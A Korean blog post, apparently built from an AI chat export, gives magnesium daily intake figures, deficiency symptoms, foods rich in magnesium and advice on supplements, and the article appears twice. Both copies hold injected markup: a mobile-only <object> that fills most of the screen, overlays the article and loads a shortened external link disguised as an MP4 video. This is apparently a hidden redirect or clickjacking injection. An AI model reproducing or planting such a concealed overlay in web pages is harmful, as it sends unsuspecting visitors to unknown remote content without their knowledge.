마그네슘 하루 일일권장량 현대인들의 필수 영양소

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">마그네슘 하루 권장량: 현대인의 필수 영양소</h2><p data-sourcepos="3:1-3:26"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cdn.kormedi.com/wp-content/uploads/2022/09/gettyimages-1268756654-1.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1528770/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="마그네슘 풍부한 식품 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQ7g8iFUrW_hY8faJGgu7NzaFQ42mWcU2z_oBPOH_PhmNPT-L-FhjmSJocOd6Px"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1528770/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마그네슘 풍부한 식품 </div></div></single-image></response-element></div></span></p><p data-sourcepos="5:1-5:137">마그네슘은 우리 몸의 다양한 기능을 조절하는 데 필수적인 미네랄입니다. 특히 에너지 생성, 신경 기능, 근육 수축 등에 중요한 역할을 합니다. 현대인들은 스트레스, 불규칙한 식습관, 운동 부족 등으로 인해 마그네슘 결핍을 겪는 경우가 많습니다.</p><h3 data-sourcepos="7:1-7:15">마그네슘 하루 권장량</h3><p data-sourcepos="9:1-9:121">마그네슘의 하루 권장량은 성별, 나이, 건강 상태에 따라 다르지만, 일반적으로 성인 남성은 400~420mg, 성인 여성은 310~320mg을 섭취하는 것이 권장됩니다. 임산부의 경우는 350~400mg이 필요합니다.</p><p data-sourcepos="11:1-11:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://daewoong00.gabia.io/wp-content/uploads/2020/09/%EB%8C%80%EC%9B%85%EC%A0%9C%EC%95%BD_%EB%A7%88%EA%B7%B8%EC%98%A8-02.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://newsroom.daewoong./archives/8489"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="마그네슘 결핍 증상 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcS7zO3vwR-t8Tldhp-ZYhpC8mvMLEe-16sAP3PeWx_vQsasNTAhd_bLMnkG5-RH"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://newsroom.daewoong./archives/8489" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcShnLURvf9E_-BUye0eW5IVWhFDkkEPcMLONKuPK01XaB6RA8UDse-eJylFPlAEq10jBII_BpELAlHPWJUD6CbTc_m-e58hUDgY4hBLZJn80sE"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">newsroom.daewoong.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마그네슘 결핍 증상 </div></div></single-image></response-element></div></span></p><h3 data-sourcepos="13:1-13:14">마그네슘 결핍 증상</h3><p data-sourcepos="15:1-15:33">마그네슘이 부족하면 다음과 같은 증상이 나타날 수 있습니다.</p><ul data-sourcepos="17:1-23:0"> <li data-sourcepos="17:1-17:21"><strong>피로감:</strong> 만성 피로, 무력감</li> <li data-sourcepos="18:1-18:24"><strong>근육 경련:</strong> 잦은 근육 떨림, 쥐</li> <li data-sourcepos="19:1-19:26"><strong>불안, 스트레스:</strong> 신경 과민, 불면증</li> <li data-sourcepos="20:1-20:16"><strong>두통:</strong> 잦은 편두통</li> <li data-sourcepos="21:1-21:21"><strong>혈압 변동:</strong> 고혈압, 저혈압</li> <li data-sourcepos="22:1-23:0"><strong>소화불량:</strong> 변비, 설사</li> </ul><h3 data-sourcepos="24:1-24:16">마그네슘이 풍부한 식품</h3><p data-sourcepos="26:1-26:32">다양한 식품을 통해 마그네슘을 충분히 섭취할 수 있습니다.</p><ul data-sourcepos="28:1-36:0"> <li data-sourcepos="28:1-28:23"><strong>견과류:</strong> 아몬드, 캐슈넛, 호두</li> <li data-sourcepos="29:1-29:20"><strong>씨앗:</strong> 해바라기씨, 아마씨</li> <li data-sourcepos="30:1-30:16"><strong>곡물:</strong> 현미, 귀리</li> <li data-sourcepos="31:1-31:16"><strong>콩류:</strong> 콩, 렌틸콩</li> <li data-sourcepos="32:1-32:21"><strong>녹색 잎채소:</strong> 시금치, 케일</li> <li data-sourcepos="33:1-33:9"><strong>바나나</strong></li> <li data-sourcepos="34:1-34:10"><strong>아보카도</strong></li> <li data-sourcepos="35:1-36:0"><strong>다크 초콜릿</strong></li> </ul><p data-sourcepos="37:1-37:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://mommom.me/wp-content/uploads/2021/07/%EB%A7%88%EA%B7%B8%EB%84%A4%EC%8A%982-1030x687.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://mommom.me/14478/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="마그네슘 보충제 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTwTy2fECqTZCKv3j5DiCJ3tbK62jDiQy9WVbI2THBlzWD8EDuafyHthATaJLGj"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" ://mommom.me/14478/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQbi4jd59bfn4alA9sUVb_2vwND4StsXiQi8GZK3ixhBFUri3YuAv0tz5g-1ZgAJeoI148LNiqM8-Srz24RzK7UqYw"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">mommom.me</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마그네슘 보충제 </div></div></single-image></response-element></div></span></p><h3 data-sourcepos="39:1-39:12">마그네슘 보충제</h3><p data-sourcepos="41:1-41:64">식단으로 충분한 마그네슘을 섭취하기 어려울 경우, 의사와 상담 후 마그네슘 보충제를 복용하는 것도 좋은 방법입니다.</p><p data-sourcepos="43:1-43:79"><strong>마그네슘은 현대인의 건강을 위한 필수 영양소입니다. 균형 잡힌 식단과 함께 충분한 마그네슘을 섭취하여 건강한 삶을 유지하시길 바랍니다.</strong></p><p data-sourcepos="45:1-45:21"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blog.mealligram.com/wp-content/uploads/2024/01/%E1%84%83%E1%85%A1.jpeg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://blog.mealligram.com/%EA%B1%B4%EA%B0%95%ED%95%9C-%EC%8B%9D%EB%8B%A8-%EC%A7%9C%EB%8A%94-%EB%B2%95-5%EA%B0%80%EC%A7%80-%ED%98%84%EC%8B%A4%EC%A0%81%EC%9D%B8-%EB%8B%A4%EC%9D%B4%EC%96%B4%ED%8A%B8-%EC%8B%9D%EB%8B%A8/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="건강한 식단 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQ1Lj70afB540W50zO1maz3Sa9R3lfTFK6kiv5k3-NGpdPZhP3c_DR9Yu3l05LH"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://blog.mealligram.com/%EA%B1%B4%EA%B0%95%ED%95%9C-%EC%8B%9D%EB%8B%A8-%EC%A7%9C%EB%8A%94-%EB%B2%95-5%EA%B0%80%EC%A7%80-%ED%98%84%EC%8B%A4%EC%A0%81%EC%9D%B8-%EB%8B%A4%EC%9D%B4%EC%96%B4%ED%8A%B8-%EC%8B%9D%EB%8B%A8/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_08624b728b47580c&quot;,&quot;c_49760f2479e656e7&quot;,null,&quot;rc_e4f379e7a838a63d&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSv4McWXaAdOL0ZfytRHPt5wpn9kgOIeXxgdpcE0VpQy5f39z5C2YnvFotxZRzAkmJ0OjGFXXsZ6gM6L1It3Rs04BM-x8ZmggOsD30zQQ"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">blog.mealligram.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 건강한 식단 </div></div></single-image></response-element></div></span></p><p data-sourcepos="47:1-47:10"><strong>핵심 정리:</strong></p><ul data-sourcepos="49:1-53:0"> <li data-sourcepos="49:1-49:44">마그네슘은 에너지 생성, 신경 기능, 근육 수축 등에 중요한 역할을 합니다.</li> <li data-sourcepos="50:1-50:47">마그네슘 결핍은 피로감, 근육 경련, 불안 등 다양한 증상을 유발할 수 있습니다.</li> <li data-sourcepos="51:1-51:56">견과류, 씨앗, 곡물, 콩류, 녹색 잎채소 등 다양한 식품을 통해 마그네슘을 섭취할 수 있습니다.</li> <li data-sourcepos="52:1-53:0">필요한 경우 의사와 상담 후 마그네슘 보충제를 복용할 수 있습니다.</li> </ul><p data-sourcepos="54:1-54:82"><strong>주의:</strong> 마그네슘 보충제를 복용하기 전 반드시 의사와 상담해야 합니다. 과도한 마그네슘 섭취는 설사, 복통 등의 부작용을 유발할 수 있습니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:27">마그네슘 하루 권장량: 현대인의 필수 영양소</h2><p data-sourcepos="3:1-3:26"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cdn.kormedi.com/wp-content/uploads/2022/09/gettyimages-1268756654-1.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1528770/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="마그네슘 풍부한 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ7g8iFUrW_hY8faJGgu7NzaFQ42mWcU2z_oBPOH_PhmNPT-L-FhjmSJocOd6Px"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1528770/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마그네슘 풍부한 식품 </div></div></single-image></response-element></div></span></p><p data-sourcepos="5:1-5:137">마그네슘은 우리 몸의 다양한 기능을 조절하는 데 필수적인 미네랄입니다. 특히 에너지 생성, 신경 기능, 근육 수축 등에 중요한 역할을 합니다. 현대인들은 스트레스, 불규칙한 식습관, 운동 부족 등으로 인해 마그네슘 결핍을 겪는 경우가 많습니다.</p><h3 data-sourcepos="7:1-7:15">마그네슘 하루 권장량</h3><p data-sourcepos="9:1-9:121">마그네슘의 하루 권장량은 성별, 나이, 건강 상태에 따라 다르지만, 일반적으로 성인 남성은 400~420mg, 성인 여성은 310~320mg을 섭취하는 것이 권장됩니다. 임산부의 경우는 350~400mg이 필요합니다.</p><p data-sourcepos="11:1-11:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://daewoong00.gabia.io/wp-content/uploads/2020/09/%EB%8C%80%EC%9B%85%EC%A0%9C%EC%95%BD_%EB%A7%88%EA%B7%B8%EC%98%A8-02.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://newsroom.daewoong./archives/8489"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="마그네슘 결핍 증상 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS7zO3vwR-t8Tldhp-ZYhpC8mvMLEe-16sAP3PeWx_vQsasNTAhd_bLMnkG5-RH"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://newsroom.daewoong./archives/8489" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcShnLURvf9E_-BUye0eW5IVWhFDkkEPcMLONKuPK01XaB6RA8UDse-eJylFPlAEq10jBII_BpELAlHPWJUD6CbTc_m-e58hUDgY4hBLZJn80sE"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">newsroom.daewoong.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마그네슘 결핍 증상 </div></div></single-image></response-element></div></span></p><h3 data-sourcepos="13:1-13:14">마그네슘 결핍 증상</h3><p data-sourcepos="15:1-15:33">마그네슘이 부족하면 다음과 같은 증상이 나타날 수 있습니다.</p><ul data-sourcepos="17:1-23:0"> <li data-sourcepos="17:1-17:21"><strong>피로감:</strong> 만성 피로, 무력감</li> <li data-sourcepos="18:1-18:24"><strong>근육 경련:</strong> 잦은 근육 떨림, 쥐</li> <li data-sourcepos="19:1-19:26"><strong>불안, 스트레스:</strong> 신경 과민, 불면증</li> <li data-sourcepos="20:1-20:16"><strong>두통:</strong> 잦은 편두통</li> <li data-sourcepos="21:1-21:21"><strong>혈압 변동:</strong> 고혈압, 저혈압</li> <li data-sourcepos="22:1-23:0"><strong>소화불량:</strong> 변비, 설사</li> </ul><h3 data-sourcepos="24:1-24:16">마그네슘이 풍부한 식품</h3><p data-sourcepos="26:1-26:32">다양한 식품을 통해 마그네슘을 충분히 섭취할 수 있습니다.</p><ul data-sourcepos="28:1-36:0"> <li data-sourcepos="28:1-28:23"><strong>견과류:</strong> 아몬드, 캐슈넛, 호두</li> <li data-sourcepos="29:1-29:20"><strong>씨앗:</strong> 해바라기씨, 아마씨</li> <li data-sourcepos="30:1-30:16"><strong>곡물:</strong> 현미, 귀리</li> <li data-sourcepos="31:1-31:16"><strong>콩류:</strong> 콩, 렌틸콩</li> <li data-sourcepos="32:1-32:21"><strong>녹색 잎채소:</strong> 시금치, 케일</li> <li data-sourcepos="33:1-33:9"><strong>바나나</strong></li> <li data-sourcepos="34:1-34:10"><strong>아보카도</strong></li> <li data-sourcepos="35:1-36:0"><strong>다크 초콜릿</strong></li> </ul><p data-sourcepos="37:1-37:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="http://mommom.me/wp-content/uploads/2021/07/%EB%A7%88%EA%B7%B8%EB%84%A4%EC%8A%982-1030x687.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://mommom.me/14478/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="마그네슘 보충제 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTwTy2fECqTZCKv3j5DiCJ3tbK62jDiQy9WVbI2THBlzWD8EDuafyHthATaJLGj"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" ://mommom.me/14478/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQbi4jd59bfn4alA9sUVb_2vwND4StsXiQi8GZK3ixhBFUri3YuAv0tz5g-1ZgAJeoI148LNiqM8-Srz24RzK7UqYw"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">mommom.me</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마그네슘 보충제 </div></div></single-image></response-element></div></span></p><h3 data-sourcepos="39:1-39:12">마그네슘 보충제</h3><p data-sourcepos="41:1-41:64">식단으로 충분한 마그네슘을 섭취하기 어려울 경우, 의사와 상담 후 마그네슘 보충제를 복용하는 것도 좋은 방법입니다.</p><p data-sourcepos="43:1-43:79"><strong>마그네슘은 현대인의 건강을 위한 필수 영양소입니다. 균형 잡힌 식단과 함께 충분한 마그네슘을 섭취하여 건강한 삶을 유지하시길 바랍니다.</strong></p><p data-sourcepos="45:1-45:21"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blog.mealligram.com/wp-content/uploads/2024/01/%E1%84%83%E1%85%A1.jpeg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://blog.mealligram.com/%EA%B1%B4%EA%B0%95%ED%95%9C-%EC%8B%9D%EB%8B%A8-%EC%A7%9C%EB%8A%94-%EB%B2%95-5%EA%B0%80%EC%A7%80-%ED%98%84%EC%8B%A4%EC%A0%81%EC%9D%B8-%EB%8B%A4%EC%9D%B4%EC%96%B4%ED%8A%B8-%EC%8B%9D%EB%8B%A8/"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="건강한 식단 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ1Lj70afB540W50zO1maz3Sa9R3lfTFK6kiv5k3-NGpdPZhP3c_DR9Yu3l05LH"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://blog.mealligram.com/%EA%B1%B4%EA%B0%95%ED%95%9C-%EC%8B%9D%EB%8B%A8-%EC%A7%9C%EB%8A%94-%EB%B2%95-5%EA%B0%80%EC%A7%80-%ED%98%84%EC%8B%A4%EC%A0%81%EC%9D%B8-%EB%8B%A4%EC%9D%B4%EC%96%B4%ED%8A%B8-%EC%8B%9D%EB%8B%A8/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_08624b728b47580c","c_49760f2479e656e7",null,"rc_e4f379e7a838a63d",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSv4McWXaAdOL0ZfytRHPt5wpn9kgOIeXxgdpcE0VpQy5f39z5C2YnvFotxZRzAkmJ0OjGFXXsZ6gM6L1It3Rs04BM-x8ZmggOsD30zQQ"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">blog.mealligram.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 건강한 식단 </div></div></single-image></response-element></div></span></p><p data-sourcepos="47:1-47:10"><strong>핵심 정리:</strong></p><ul data-sourcepos="49:1-53:0"> <li data-sourcepos="49:1-49:44">마그네슘은 에너지 생성, 신경 기능, 근육 수축 등에 중요한 역할을 합니다.</li> <li data-sourcepos="50:1-50:47">마그네슘 결핍은 피로감, 근육 경련, 불안 등 다양한 증상을 유발할 수 있습니다.</li> <li data-sourcepos="51:1-51:56">견과류, 씨앗, 곡물, 콩류, 녹색 잎채소 등 다양한 식품을 통해 마그네슘을 섭취할 수 있습니다.</li> <li data-sourcepos="52:1-53:0">필요한 경우 의사와 상담 후 마그네슘 보충제를 복용할 수 있습니다.</li> </ul><p data-sourcepos="54:1-54:82"><strong>주의:</strong> 마그네슘 보충제를 복용하기 전 반드시 의사와 상담해야 합니다. 과도한 마그네슘 섭취는 설사, 복통 등의 부작용을 유발할 수 있습니다.</p></div> </div></div>